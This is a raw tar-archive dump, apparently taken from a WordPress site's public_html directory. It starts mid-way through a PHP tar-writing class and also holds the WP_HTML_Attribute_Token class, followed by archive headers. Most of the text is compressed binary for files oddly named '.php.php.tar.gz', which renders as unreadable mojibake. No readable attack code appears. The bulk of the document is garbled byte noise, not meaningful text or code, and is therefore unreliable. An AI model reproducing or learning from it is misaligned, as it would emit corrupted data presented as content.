		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>class-wp-html-attribute-token.php.tar000064400000011000151440300030013632 0ustar00home/homerdlh/public_html/wp-includes/html-api/class-wp-html-attribute-token.php000064400000005327151440277760024114 0ustar00<?php
/**
 * HTML API: WP_HTML_Attribute_Token class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor as a data structure for the attribute token,
 * allowing to drastically improve performance.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Attribute_Token {
	/**
	 * Attribute name.
	 *
	 * @since 6.2.0
	 *
	 * @var string
	 */
	public $name;

	/**
	 * Attribute value.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $value_starts_at;

	/**
	 * How many bytes the value occupies in the input HTML.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $value_length;

	/**
	 * The string offset where the attribute name starts.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of text spanning the attribute inside a tag.
	 *
	 * This span starts at the first character of the attribute name
	 * and it ends after one of three cases:
	 *
	 *  - at the end of the attribute name for boolean attributes.
	 *  - at the end of the value for unquoted attributes.
	 *  - at the final single or double quote for quoted attributes.
	 *
	 * Example:
	 *
	 *     <div class="post">
	 *          ------------ length is 12, including quotes
	 *
	 *     <input type="checked" checked id="selector">
	 *                           ------- length is 6
	 *
	 *     <a rel=noopener>
	 *        ------------ length is 11
	 *
	 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Whether the attribute is a boolean attribute with value `true`.
	 *
	 * @since 6.2.0
	 *
	 * @var bool
	 */
	public $is_true;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
	 *
	 * @param string $name         Attribute name.
	 * @param int    $value_start  Attribute value.
	 * @param int    $value_length Number of bytes attribute value spans.
	 * @param int    $start        The string offset where the attribute name starts.
	 * @param int    $length       Byte length of the entire attribute name or name and value pair expression.
	 * @param bool   $is_true      Whether the attribute is a boolean attribute with true value.
	 */
	public function __construct( $name, $value_start, $value_length, $start, $length, $is_true ) {
		$this->name            = $name;
		$this->value_starts_at = $value_start;
		$this->value_length    = $value_length;
		$this->start           = $start;
		$this->length          = $length;
		$this->is_true         = $is_true;
	}
}
class-wp-html-text-replacement.php.php.tar.gz000064400000001226151440300030015210 0ustar00��UM��0�+�s��.(�Ԗ�v/��J�E�c0�I�&qd;���ޙ8	�e�+�S*s@��~3�I�d*�T�Dn^�����Iw�w�'E �K�.�c�'L�.n�#�LW�<a\�"3�<�/~�>���N�1���b0x^8�LƘzCσ�	�_�6La�?Q��Wo�3�m�h�ŧ��v����}Z�t��w���t|�3���n�
�J�0�Ū� �.�<���qo����u�7R	���v`"{!W�#�T�40�a��*�)���v�,$8qk��ef�嵒)����`I"�t�bx�cjq��6r�7e�p�"��b]u�T5Fx���&�r]��(�B�t^^��f�S��f�	q��Q�����ޗ��M�Dd���D ��I-�A��m�%��^65�x���K�Q׿9-2��@�v����0��'yQ�F9���Y+�r��%��&�a���p����e��K�Au˝�
��U��D��Ӆ,�a�/M���2r�(�	c�����{�h
�qk�ac72��/�S�9S,%��ań�2�!d��)W�:�P�d)[���[Tߋ�.2nb����Zƫ��U�c�-��qs���.
~��+-�͈6;��L5[�i�i�޹w���9�q��6��A�index.php.php.tar.gz000064400000062251151440300030010352 0ustar00��i�+ɖ&��j�
�0�������d���T]�m���V���)'�I2�d&��\�]{0�/�e�/�m
y�#CƒtC����!��±��$��}�5¸��Vef�8q�Dĉ'N��J���_2+L��z(�空���Gš�~�f�<м�r;�r��K��	��X$�=�#��_
F��H ���{0����K�-~֊�Ƞ�e�k��g��ǍZ��ï��(��J��x������������A��V1C���~������7�W&�j��~��?���������PԿ���~��������Z,�ҝ���G?���Y��~�o����?�����?��?�#�ef����������~�'?����k��E�?���n~�������姿���؛?����?�_?��1������O$?�a���WV����g�����:�.���_���}���_��Q��U��Z0"3�dj��Q�;B�4Ր�%#3*/���_]������R�[
˹]��G-��,���sk4^�?R^�{�#q�@F����ʼn.�K^�_,~�e�k=w!�KF�²Ku�zn��|�����>z�w�"s��.��C��ǹL�U~U��؇�f.�B��� ���g�-�T8��YN�y�쇐%n�h��y$-97h����]F�a��w����y��k�f�
�JV&�"�d��uK�FR8yÏ8H</Nˍ���>CƮA�BP��[��r#��B���x�L����-l~�*���.BpR#I��G+�Z�r�Յk�̹g��Ai��wQ�;T����"�}��g��=�a�R����؞���G|�����AJ/���ԟ�����LW�����@3@F�J�E�Z6.�U�FkY�D��~�g��&�Z�	'rx`Q�9!0'2C�C%�*���te%8���H\�4b����.=y
�Ef�3�dI2�-E�J2�ӌ��Q9E}2
�2S�����F�/�%����X����p@ )`M�A���=Ce9Jĭ�W�{A�pkb"[��K��0�`�{�+�
����p�l-���	��d�d�`�q�61A�*
26�P��l0��i q$Is�-
�;��‚�Rw"	��+f�N߻Xf�<�GI��sA䀤���7�D$2G�D�`Ij(K[�KE�1����%�V/�z��t��l6��<Wҵb7]�C�
`M���"��:TQݛ�!b�%@^���(�`�%\�A�bFSʖJ1
��1�!5H��4�Bt�[3��'<�
�� xƒ	><	..,-�q��! l��?�������:�=z[P�B���RD��u����'�Q�
�s�M�̈��:��_���ɵ�g����TT�� 
c����=���ʜ��E�£����������r�o�7�Y8(d��p��D��c��ZL,AbHD�۔��g!�σ�.�i0�b#F4�}P��Pl��`t-�	v(N hPi�@����K�߀C��1�X)���$K��i'�F
��B�6�|�^�������Gt,9y�X-󓩪<c�Dg6hy��h@���HFϦ2���5\�7 ;f�@n��[*�˂%��J��G�2�nK�9�⡨�S>RO;���)mŴ_%�,:�8�"�!L�-n�ي����*fA����R��LOV��s#ˆaNӤ���s�B���
ef��y‘��9�AiЂ�P*ԩ%��Ȗfd:pW���V���	(��p� �[�I�OY�	!	���B4����v������	R��P�\X̜jk�pm���^�)5��	~Fm	��D^S����<J���+5��B�Q��SmB�P�\m4���6J��`��D���'�(�t�!�Z�}�H�K��I��O������+u�
�E5|���-|��|�lZU&H1*�m C_$8R���*Чa*�p�^j��}���y5�=Ӗ;l��?DI�-�	��1;p�!Arku-Mj&PLx@�o�66���r���DZŦ U��@�YXu
�6�ذJ�)g#J�m�F@�9�t��f���J�U��u0t
M�к.@q�+p�U0����p�p��H���Y7R	�0}�v��*S�a9�}��D���s���}C1�
x��o]0g��
�a��-2�9���@�\��i�4���uI��I`T������s�TN�SF2��uFּ�cN�D��sW8q�No(��xhek����8����A'u
��)�KE�5aO-�9ُ���뱴�D.u)k��N!��7cNZ�x���7�J� �f�b�h8Fr��"BT�J��8@���g
քq��#AR8TFǂ���XW ,B+H:�P�@��I*U��"K�y�jmW[eԵrc���R�Ҵ�!qd!��XX�&�v��#b��]������ԗ*���"���eĂ�/7y�
Bc�����p�rDK�J��;K�'�n��y��oš��-�"y�wvt�W�{
�#���"~5��":Cd���x<ZI�Es���qQ���z
��B
n��M��?���NSp��i��!���7�#Jd�ϛT�4�ង�Rp��_S�4�=F�Edg��Q�s�_[�"z�)��d�����c��.���h�k�ߚV���/�eYgVàl�Ƭ�����-�b<�@��g �++=��
+�"�ɬpB�_��i:�6;�m�Džп�i��w����-	~�����1�y�
�eh�� H7�5P
@[�:��!`����LXt�E�F�n��}�H6���!SP��C�Yo���7����PQe�G|PԉvD�9�u[�Aq����^�j"�Ѝ�=�QnS�|K��<A<��o>3�f�A���`�D2�}�oL�wL��Ȩ�$��2���i��I5Ŧ�	�����
��J�U0P].m�������7t'��cR��`¿�2�T�Ʃ�w`X�b����<s��J1���e\H�>݁g\�[��s9��gUz������R�+�`}`u��Ґ�!]q��ڼ��)*����-FD�w�iB�\~7D��D���s��#8�uJ��0�[��s��Ĥ&[����
z;�:J��OH��ӯ�z� ��:B{
(�%��ԩĦ.�«^RB�������\�(���ݮ
��PH"Ɲ�d����~X���T��G?t^u{.)X҅�o��y��U��X�R{`:� 9yq"��~�速��Y�U��`AΈ/���v��U�[kE�_�?�������E��v���w�2ËxK�,�-\�,��6[�$a���F��?b��ޢ��.ǥ�r�ٍ=d�T�\��dY�� ����2`���@bꐆ��	O�\܃�z�Č��T8i
aQ�WL�[����1���Rmě�����5��}��ʥ;�L��o�4��+��p[vT��G^��R�=�»����>ʞ�o;���i�o��"Ht_����O��S������Hű����d�2A]ߑg�s2���¬�̫Is�;Ĕ�Q���q¥-�Px��p<�J�����&YRV���3�όY#¶�t;R���`
�J�N��1�g�����)N�p����S�� ��Me�ڰ��2e*T��y�r�l��EH�1'�����TݭM���}�h^@��1�TF��=2D�j(�֤᛻����g�4�\�/Tt�N
4AA  �k�D��Є�M�����D'�b9��'Z\�RD
��$��^(*�s���Ӻ)-������;��\H�Rɷ]慜S3�On��C��
ĺ)ж�?ٖ�a@�'��8&�7��y
�41J]�K�=>]k#��5���z���v��B�^��:��a���Xp�\0��l��)�ȵ�
�N�T��O�v�M�'n�>�J2Kې#��*�ʧ;yR�N����}�,͒�d�����
�a�+����߷��	�׫ي^�Gt9`0�Tk�[�T��-|�z�J7�v�4��T�$e��J�r�/�`�����V}�0&_5C�̼ҽ��w��>�b�8В�ߍ�.P�'I@)vQ�� �@]�n�O&��BnS���v�>#ç#z�z�p�S��F�L��ߤ���s�:S5_��`?z�ox�; �|&��N��ɯ�.��l�7�Ґ9g�`�տ^\���5�N\>�@���X.�g���\[/�F���&P>3a�}'a���ǺK�?��.��Dʃ�pp��Ҏ��@_�jn�Xu��:X���+�L���֔�&[FT��q!AFe���H>�@[�K"�P'?\��>���|)�,3}�<C�'��]�Ȑ�4D ����.�n
D%�I,Z��ⱽ�U96��G}���ܣ0�r�R\-�e", �����)��u��GfN�`st����U}��'F�0�
7��g�N@C�_	�^j�9;�K�{�kh$��}�a<�ߜ-��[
/�n���G��!K#NQ,�R�=Y`(�.�`Hc�N/�{��P��2M�q'�:�Ļ��vrZĀ���r��Ĺ.r|��Y��kh��d���j�5g/��z�K9ۀ0\��������6�.�{&�7�O�Os�;8���6<�� {���O�Vl�(P&�2
�>��A�/&φ��}E��
C��s�T�??bށ|�v2�SI�
X)��m)pB\�U��@	��`�k�kxxETo��r��%9`2Z�GD�#��$H�
5���m�w�*�T�'����������
��#���k�G;�9�`U���v�P���m-�B�
9�
��+ �M8d�����XB��89���"F9gK�N����ċx�F���6<���p7�Zܗ`�dn�z)Nnq��^����ʼn�?�vw��N�S����t��*�d>d�l��ͧ�e�T�>�cM�q�jv
�='c��D��d�x���Y$����S>�K��N�Gjn��*�W_��#:!����j����>�L��l����̄�L�G7�P;0w��p�;_�'|���F:��E��r�b���P쳱�ދ�=�ͤ�e!<^D�Հy��s>ԛx�Ⱥ��o+�谟��t|6��Y�Z/�g��C���Q�A�.����|� ��YuA'�n�2
p�`F(1yPuvZe��R��ǝAh�>��Z8�'�=6�>IO=II��7���X��0i���/DFʓ�H��m�Kτ�(L���ah�PKA�̄���SJ�g}Y�l���!�,�GO��)��eP�s�Ŋ�+�w1�U�	3�/�=��9M�W���t����,��l��0��:�Q�H�{�7ҍ�r�E�ZɈ�UeR�Uc�C&,��Bi]��3PI:����]�����C1�M��Iy(W��v&-�ࡿ��%��rm�*���c��D%^?�Tq�>$�1̴��n%"g���%���n�Χ��H�7�������
��`�H'W��vR��G�z։t��z|�&��;���-�DA��֕���˰��V�1���]�;�v���ӏ��0k=`�>[�mb+�z��|zJyA�?�Bwћ�����B]!��5�n�֟5�}%���d����z�⠵��,�V��`#U���ۭ�C����b�Xu�I����$Ȕ�mz\���H`?H�{��tҟ���ڮ�y��
5�|hŒ��.Өr�@��n�;�M[�0���V=�e�L�%�:�bx��\?�T���ubW��\%7B�tf����an�H��N/��r�P��'�l[���ɴ��T�V��z�巹-���F)���(�	���Ve�GB�C$��4r�6���Vn�{�#�yhu�yy�0�LR)�rb�`��1h�"�P�;��J�<�r��P��0�9Cw����z��woU��������wo��óhs���	�n��7��UO�x����֯9O��#������MV�H߁ۜp'	W	�B������J�f�!������ �֑�KYR%0����F�,��F;{V�.�9g�p�i��\mr���+2�I�K/�5Uեr��ܨ�:GX-iw$�ԨVOυz�1���sύV�Sw��	Ur�>��۱�,a�����Gs1���F�}����Y�A<�e�f_�sh)����L&�C��
�)��R�Y	��E���N�u�.�.�z�VY2�6"`�w��m�N7
a�N���"�6�9�3ð�9��a;0��K?������.�r›�'���꣚�5C�lM���t�v�!,����;��P�H��4vˡϰ�^.9WY% O��P�V�\�H�і��Ot*|�,+�k43�~�Y����2������Ӡ߇�!�
 B6k<
���{���v��Z�-�g�GvC$�p����w)�8���%�ߜ��b~�i��� ���/�I�\ �v�H���뇡-���M�����0�Z�,h��$JD���p�^��8��Ұ�4#�}��*R[0�s2�1<ifݐ �c	��0C�]6�'?�"�D@��ހ�e�B�AˀV'(���JY��ɰ�d���G�9j~2��9\�A��Тcr��5�3��;�����o��O��7����~�~������������_��?�����?p��7��k�o���nP�+?�S�Q�.䱂9|�ʳ��@B�@�	�!��F
�
qR�L��g��=�ŧ;��-y��a'��A3����6:=84��S���P?��h�k7�ΩI���	%BqR`�����%�̂�K
��OH�ڠܠT�tGY���]~�Y,ͱ��UU�71�Cs��`��Q��jk6���U���䘄,��1�x�����e���hF@�E����ߎ�I����5G��^O�9kʳ,g����&2؃8���0z%l[c�Zp�`�,��t#3��w��0e��uL�SN��	�,��t���.{s�8@Z�r��-�mfC<���uԧ�?�F:3��-�z	������^�R�ۺ���5�o1�a�����/S�w.D�&,���u�}�,{�yim�;躼�>C�@���,/����}��I�� {V�}3[�C4;{,[!.�`@�{��0�I�f���oRԥ��6>�/�� �I���.�KtT
�=���=���8�t���'����Qڸ�q��Б�JF��D�LP���&�yÑs�V9\[Z̥���-��C`c+�S(�l{ow�:�%t�Z>9'9|�}2��
mc�b�	��k��cʋ,U �I1b0Y�y�.�CKA�@�]G��	/k�5�����[�R�(3:�+�1������ZJ�~��/ب��>�0B�8�1���
7(��7C��@��`޼���蘜�a�C��d���	Vk^5ưy�jTٗZŶ�Mr�9M����@�VX����z�J�
�:Z�-&���h-o�,���	�X6�3����*{��[���;g�)u�8�q;^u0o.�U�Q�!S�#�Ld�tx���(H��/��܅�ܩ��
��Z#�+��?gx�I5�%�Qv ���P�Ɖ{E�
� O�3�j̀޵��f
8&��OF�����p�<�j�bx�w}ci�����>��ׇ>\��߽�|���	��A����O�hG�Cۆ�@��_aAb���6꠵M����K����\>�E>H��*�1���i�Z4���[/�g�2;�8����@C�ϊ6�Z'��t��:��
�o*�4)�*������@C�@�m���TbF|��I��F���R�9êm��;�*�AG՛��M���r��b�,����T#3�Q��06���ܽ���`�Z�HZy�;��w��V_P�yh�k����41�J?OY�H��n^��}��ԝs������4��*�vJ�YV�z��L��$�^)�>_�~�%����SmKB�n5�WJC�~|�X�v0u����Ç���h���AA�q@���n��N*f0m���I�N��3�:J��i)7�~���`�X*��P�Q�Q�T��DR�G�1�j�s>*��T��#������Քk��o����CZ�l�M��Z�RtJ�i���ҚL>�P��&�T��P%ط
�"�=p�c��q�߼Z�4��L�z�ZKw�~E��`�΁=
ڇr�(��J֢�j�w7�UHCW�E�B?>ZyO
��Z<���Oo�j`Z�O�a�?V6��v&D����
��7�N�8G�`$�
w{@N���` 
n͞�p����'��4�[�������G}�E���
���p�%�I*
��c6���h<��a�c)��W�[|d���u2�Nw2c�+��n�D�.0Z9!��c<��'h���QS��C��w]Y���7V38�Ii%��fk5���h@���&t�Ͱ���f5wT��0���!�V,u�3��B���������|M}T�۪�`����b����'w���n�z!w�^��+�l�S��`�����v���K�>t�^
���[/����9F����-�
���n��i�km���~49֣�܎��&t�؊����,�S:�o܊<��_~�7q�����n>~�A_���8RG��`��K|��rB͡��#p�²`w��+4;X��(��W�C��}���+��*���"qr��>�9n�iI&9d+M�m��q����F(\��~��)��a�P2���)]0x��u⒢��$<�7<���ޗ��R�[�U�)��Qկ���a��k�K1"X�[�Ct�/����w��?���O���4�(�U��+�*��8�k�g��y�C=f�����x�=���t�X"�-�l�E��"`��37؃����v��
�n,X-in��@,�Lޢs�p6��-
�ţ�l��T�Wyr�XL�y���-pF�:E4��
�p�p�8�S�����ʌZ_�g���_�#�És{Sߤ��L6F��-�ŋUt���KQ��Fk�St�r���+��(աj���v��k5��V�4�pxDK����pk�Dw�He�4t
4�χ�q3h�$h0�e-���x!#��FuFQ���,��
�BL'm#X$5n�����L�H��͘��z4���`q����Z����7���Z�1pc��%z�U���44Eu�~�3e� T�[��K��bf֪���G*�x>Z��EkH<��;>]����	:9��:!!�f�L1�k�0�����\�>���a��N���W{�Ʋ0�ÛV���B^�t��R���#���_���f[��u���V��/&�	���gR�Z��\I*���y�)�'�z�W�x�i=c�L"��h�驱�D4t8l��lz����Z�~��ꖸ<����b�k���|��>�Χ�� [8��j&ݘz��\R��I:�ժ�l:��6�jfOo�Us)��l>=��i%[Jw�Ll6//��"Hc�A']���J?T��i5]L�cﰓ.eY�O73C!�陵l��~O����,��m:�Z��h�6Qӹ�C/4(�+�p������}:=���-��]�ӭ8(�T��"�R{��(�h���h2���v3����lp�	�O�iD:��O�]3�o>L��z+.�N9SKӓDbZ;�*��'��䪑����5)�		5&'������+��z!0Vu��P���Q�UI�OZ��d=a�\e ��J7-�E�G׶�H����+� �=ͣ�iy��G˧�8*n:ݣ���)���`��J��S�p�i�&[�蔻�C��0-VFQ)yOWF�޲�}%�~,G�R7̷G�h~!�S�|��.��B`��GԄ��V��C7�%o�iݪ0S��m��Q�񾓎lF�t�&���$7)��(��	��r�0R�E{�L����yE蔕}�li�������N��=�3�C&�2Yz7�I��C��mN3�좝�����}�����0͂޵	��l��i1%�3JG�[�1���9z9�>�3��>�m�2���o�3|����d6�L���HiT(e�C6��gZ��|ݪu'����
����MJ�ipW\/�q���;�ɏvB���v��\��[3�pQj�ɦ9�o�R�Qz�4Gr�i�!�7W�I#$%���h��O��C#?̥�;��U:%;���</���n��V��:"�	��6ۓ�S:����@i�oE3�´��������>��Y顶�禅��þ�Y�ׁYjyG�~V�M��R%�x�K�Ne���F��o��nu�_4���nY���C1���K޹�(�vF��"3(���â��/=�E�����9MJY||H��N��-I]e�jOE!_��́��=dzL��!I�5��I2�!SU(o�}N�Z��L�Mv��v�,��:���i�K�;
����Њօd�)�l�-/�K7�v[�Ns��T,g�bz��p���w�A �v��v��un��
�^o�R�e�0�/g����fz����J�V��>Uz%��I�%�W
6f���Vjo�6c����Zp�0ؤ���ݟG��6��-ʼnңg�j�
UJx����*2N:O���zڅ��O�Bq�Z��|�y���A���Ի�Y�>���@g"��2�����igS�J�b��T�Ao'��̓ �r���V����0�8���4��]@��� B�3���M
�03*/w�Z�#e>�bbݡ4T�l<�^zc}Q��A�cc��E�t���.��-��}�0)*��<�*��t��uz��a�V�a�W�=�j�f�7�O�~��f�	)�+κ�Ƭ(���y$.G��a�_Q]�p�Z|�lw��E���;9��K���R.��!�*���
���X
e� )����e�b���V��zړ��L���-Y%��"��Z]�F�e\��1YT�6�۩�"��J���Q�ku
�bʊj�q���:�A-�C5���ǃ�Ja�A�(��r�Ǻc�ú��e%��\#�k��i�RŊ��0`�B���"�_Z?�#�Je9�V��p��K�Uf��W�6��"^n�!)�׵ut��#1�
���ة�F��ʹ�l��F��jq3�f��ğ��>9�DO2�m�X/�ڰ�n�M΢{�[�F�pxV�{t��Ȇ��q���mD�[jt�N��L�Yq��f�ä[�<n+q�2Qz덃<��}�ff�l���ef��:Y?e�vA��M�}�Fg��(��a0^�iv]+�p��y����b#��	��jO�V8_;��X�a�/U��MD�}�\kK�]5jRx=k���z ��`�g���m�~��-��F��q�>��Yo-^�i^n9澾ݴ���LKJ}9HwJ�z���m�ҫU��>�Kv�Xϊb�~� �x�US��P�6*O���|��<���b��4��:u�R�N��r^�Us��8���r*�Fg����� �k��igP
�K1�����0V���XE�'8�9~`���
*@p6WC�W���^�W��1�/��F�M->���Y�6"M�y�ԎʡeP���c�I�E)��v;�Uʑ]�P�3�mb]Z�ʋp�ۨ�(�ˁ7ʓ^<��*�Y�c[��]?��f��Npz�7���bK����<��Qo��H�P������ځ�ɯ;�����qC��D��%���Sn���U �&�z8��?
+�q�\[�'��k�t��'���`{�k��^���V}���T�o�@��4|��t'��Q�^�׫���X}���F,��Z�$>1����^�m�4�/mc�`\�[�v��jϒ}9�w;��^�7�>P�M����P��m�^��ƣ�0=�r�a�]\����d�q�VB��bSfZK��بþ��u[o��¢�h%�q.�
4
B���u��"�W:��x��YaL��x4\�
%y���pHj��X��3
̟hH�MnSj�#l��y��^|��X%bO��K	z��t\\��YFL\\sr(ȅ��Xk��q6Y	F�!T�z'�nƵؐ��Ӹ�yǏ�e=��*���w�d>�6Y!�{�����6��j{�M�Q���FL���6���`�[s��,�&�zG��J26ދ�Dr~��N�xZY���f���b�q=0����x/D���i/М����Pb��Mc���P����F�>�G�.����F��J���E�q�(���ݢ3��ttv���C�Uຮ؟���t�N7i:�M.�(���(?�� ���J�1��{6/�Z��(���S�+��u�b������>��鄔n��+��O���Q,e@�|�����Ʉi�o:�}��{��D�Ip�a9=��j�7��i3��,�`PI.��_0��*�O39�����k��P=��m��(g��R7����P6�`��W�\�[o�Ԭ��k�ݽ��|zȅN�[�'%YO�r�|���)�R�Z�yG�$�.
s��i�뀺�vB�m~0Mך��bo��an���
�=����\c��6�q��0-��`bg�e�!�&���L�o��Hr-�k�Sf���h�3~\�`%�����w��*�i2YK��;�{7�@�\Lθ��<�.�J����c�l7���º��u�3޲;^-���v���z�ᐝ�:���V�xs�A+ٯu*aqUˉ��Zf�P)����R�5.{�:���}3����>x���I���B���3�UE*�����L���򰨔FZ	=���}��ͯ˃^3K�v�E5h$xv�Ns�!��l��1��7DIYO���^J�T����M�YaC�%!\�#�~�춡^w��y�Й���E6{�1�!���b���-�[�/��_l!��B~���b���-�[�/��_l!?�-�3�>��0
e&1'���c��Hw��(z�qe~b�j����4m5��\;�c�@��䷥F�0/�~�%��Z��
��~�K$�	L�bN��d���H�m�sz�M&�aq�{�7q�wVX3��O��!�N$�XC�c��9�ŋ��t����d ��
X���R�TU��e)��kK�q�!(p�rW'z�t-\�H*�V�*3�ʛ�tS��=���ؒZbJ`���̣�6X�$[�t�[�F�^c�mCU�?��-�;[-�%Z����M���R~�{뵃,��5��?�S�:}�q!��՟��z��|'<�.�YF�ҝ���r�|9�m����Sb;f
�bi��ЅH�aIF&��}4�����X����5�ŴX,=&Z���X��6�hP���
s�4�m?�����+D�u�iW.��x��n"e�R\�1�����Y�Z�7�q)��Z�&^��Ct����*����;�Lۂ4=���E�e7�E��}��`���W,�Ӈ��fw�7=���cIL�ɤ��-�Ǭ����cz_L�R�,���Ǡ�b�Q%q�����ɛ`ӕb����l(oߥl�Г��/����M��~�l�o�sa�p]>x���3�%`(��XZ�J�N{C�p2<����}7dC�=�`E�0�E�@��~l}��vp$?(�JH܃٪&C�̓���2���ӧ��Z-��V�#1�FT��X_9�ֳ�K����@]<�ڋR��n��`/��Lp��嚳~;C'k�� �݂�nʃ��6�\�4���=;����^چ���c"ުU:4�q uh�� D��Hm�W�2YƦ��W���V,Q���_Xz�܄�dm��f��^(�G���P����Į�f��8��C|$��i��J%ف2�O%��|���|i���
�\�KEe�ʡ�����N��	D�~[��6�Uz���Hp�-
��p��&�Dvt�3lbS�'+j7��w׃�W�CބBo��J�
���cp\�1t"9��^%*���`_U�������Iddk0��
xK6���V��tF'3�`Y��vP\�[xh
�^��z����<�ɇU�^��t�=/�b�h�[�ՆB���U���z,��aR�<YǠ��A��{u���22g�Z��Vg�Pa?hf2�b��3C����c+:	B��C+_��٢��7�ʠZ��e�(/��PUIj�J};?L&��C_�/���&�r6�f�L������>���*��Kr��W�`p?��f6���k^UV�Ƞ��.�m��������K�h4/dҁ�݌��u'��`�l����Wfr�aٞoZ}%S�f���}��T��J�u��A1��ץ�A�l
a��ͅ2��`:�J�ѻ����8x*ի��\��W�_8d����,�,�t����~��M0U�%�\K���z��K��&a�_p,�P�H�8��w/�v����˝��w�Z�� ��$8�70�L�T�kd�۱ 1��U��*5O�ɬ�NqFwH�=?9{j~��Cᄀx�#�m�0�ހ$�G����7�<��|U}���0u���xdC���9T�,�����3>x���
Î߾[N�_u�����Dߍ8�����>���y
�X����Q�>	_�o9��w����.z���yD�E�39u���e�Ы�pd��v��GD�+�]�0!��M;rD�X�"^�cl7����f$����й9�9~���8lj������,%��Xb
{`\5t��)V�v�
Ѣ�1��;�<><�_"�JT�K~��eÎ���D?K��s�%��|y6}�\�5n�PB\�T6~�\,�%�nƵFO���qߠ6���X�Ap@lpw�,�ț1��ϮN�9|^)��l�~���h���Ϭ�-"��IN|�v�r�Y"z,�O��3�qK�%�{$����ٸy�d��1n�+i��<G�q����s�6�i5�Qg�\괜�
���m�6�ϥ*��F�|Ո��
�g�?���G�M���l�`�X>�$�2�h��uB� �1��
F( BK̃�1ڧ�J��RI�'�=�y�)�Է��X)|��8�R,�=��Q^w҈+jﰘ�gr��򥸔FT�/�l,��4�&m�]eM������#C�/r8�N�����l����_��>Y#�R�嚡��b�i�z�b��9
b{��'�T�)3��s �d���ˢ�uDZ��t
�����Qj����d~	����#��OF�Ն�3΋��R���Q��s�h�l�����x_��L�\�+��h���Y>�U��iYk�'Gx���)Y���d��U&"�B�]��Ek}w��+��l�n]%�qOx}�v��ͱ�5"��Q�`][~wg�I�+�	t*�YE���5�c@I�¡0j��[N:˝-�9n��G��0��9���xgj|��ї�Wn��=`�fy��o)�}ww�5M��!{���
ڌMV�D�p�ւb�XM����s���50�;K�kx�"*�<zd��胇Ԃ�6��:�`n$G}EY��W��
Y0�������%�h�+����<��c�˦��#�(�Z(6%��)k\_3Kb�:��_�r�/z����Q�kn�c�0�C��e�$�P8VxG/�FW ��I]M��¾����"�;�Ht�{��(&!��u�NZ���ﵫ~K0<���A�~�b>�P�|0/ɕ�k�e�|��\��U�m��ʽ|Kc�;��ti���
n/�@w��@�uB����`@K����	�_F��y��oB&z#��`��u����EK�Y�[=����,�Uq�p5�0�~��x-����h#���4l�IB��ڭ�B��@�]�(�@�ˁ��7-��qLEa����4C-����F�ū����� D�xp��H� +�Pd;�>3N�ے4|�U��>+p>�,ɸ���7Z�A[�`$
c�x������x" ��c�Oro�$����ߟ�=���=��U�Gۇ��v��x>�gu��[Cwy��A��#|[m�pQ#N����7�w��r]�Dt	wh>O�B���hV����V�B���ΊF�z� ^�E���3������R��)F�'@kq0���|�Ր�x^�0@��N��	�5v]��x�a~NJOD_��6�'�����-�a�"��
��xF@1�ܦ���H6�N�����F�z�U}���'���܁g �
ʹq��2�Q��^�c1��i��X'���{A7��>��%�@�辂��Iu�h�r������c1��K:
r��$�/@����7M�]�L#�Ԍ��X q��[���8�<j���߱�W��9�޿�r�Q�i*ܔ:#��������0�	�CZK5��5:N�p���	,�l�]��G�%V7�L�6^v:P��|�_*p?[J�Sle����[��o������x�����_�r�&BB��k��;F�b��}I�9
-��Hhi���/b��Klc�& �Ll_ҋ,��C�
[e��ߐ���k�`8�՚w<#R����a*��ݚ�3��K�P�B�ɊwFD����d9Үl3�\����S�Qf�"X���`c��u`��IH{�_��yN��5Ӣ���|Ơ�ۉ8u�|>�����ŧ�꧚�f�(C�'���@������ �֌��i���]�y�2Ci_���(0�;'<ϧ�Ř��ӄ��%��ѕr_�qS�x�߬��"o���[N���e��ಹ�}�1�{�ߑ]<q����+.� ��21��L�H�p�T�#���*�g]4l{�W"}܀�;�{
